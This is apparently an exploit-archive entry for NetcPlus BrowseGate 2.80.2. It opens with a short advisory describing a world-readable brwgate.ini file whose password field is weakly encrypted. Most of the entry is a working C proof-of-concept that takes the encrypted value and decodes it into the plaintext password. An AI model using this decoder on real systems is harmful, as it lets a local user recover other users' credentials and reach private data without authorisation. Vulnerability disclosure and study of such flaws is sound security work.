NetcPlus BrowseGate 2.80.2 - Weak Encryption

/*
source: https://www.securityfocus.com/bid/1964/info

BrowseGate is a proxy server which supports most standard protocols.

A design error exists in BrowseGate which enables an authenticated user to view other users encrypted passwords. BrowseGate by default intalls in the C:\ProgramFiles\browsegate/ directory and includes a configuration file called brwgate.ini. This file is accessible by all Windows authenticated users and contains the encrypted password. The password is presented in the 'scrnsze' field. However due to a weak encryption scheme it is possible for a user to decrypt the password using a third party utility.

Successful exploitation of this vulnerability will lead to unauthorized access to private data.
*/


/* This is proof of concept code for decrypting password from BrowseGate =
by NetCplus */
#include <stdio.h>


int main() {

unsigned char start[8] = { 0x27, 0x41, 0x72, 0x4a, 0x47, 0x75, 0x4b, =
0x3a };
unsigned char hash[8] = { '%', '}', 'S', 'p', '%', 'g', 'Z', '(' } ;
/* Enter the encrypted password into hash above */
unsigned char except[8] = { '~', ':', 'k', 'C', '@', 'n', 'D', '3' };
unsigned char ex_order[7] = { 't', 'm', 'O', 'L', 's', 'B', 'R' };
unsigned char pass[8];
unsigned char i;
unsigned char range;

if(hash[0] >= '!' && hash[0] <= '&')
  hash[0]=(hash[0] - 0x20) + 0x7e;
for(i=0;i<8;i++) {
  if(hash[i] >= except[i] && hash[i] <= (except[i] + 6) ) {
    pass[i]=ex_order[ (hash[i] - except[i]) ]; }
  else {
    if(hash[i] < start[i]) {
      hash[i]+=0x5e;
      }
      pass[i]=hash[i] - start[i] + '!';

    if(pass[i] >= 'B')
    pass[i]+=1;
  if(pass[i] >= 'L')
    pass[i]+=1;
  if(pass[i] >= 'O')
    pass[i]+=1;
  if(pass[i] >= 'R')
    pass[i]+=1;
  if(pass[i] >= 'm')
    pass[i]+=1;
    if(pass[i] >= 's')
      pass[i]+=1;
  if(pass[i] >= 't')
    pass[i]+=1;

  }
}

printf("The password is:\n\t");
for(i=0;i<8;i++) {
  printf("%c ", pass[i]);
}
printf("\n");
return 0;
}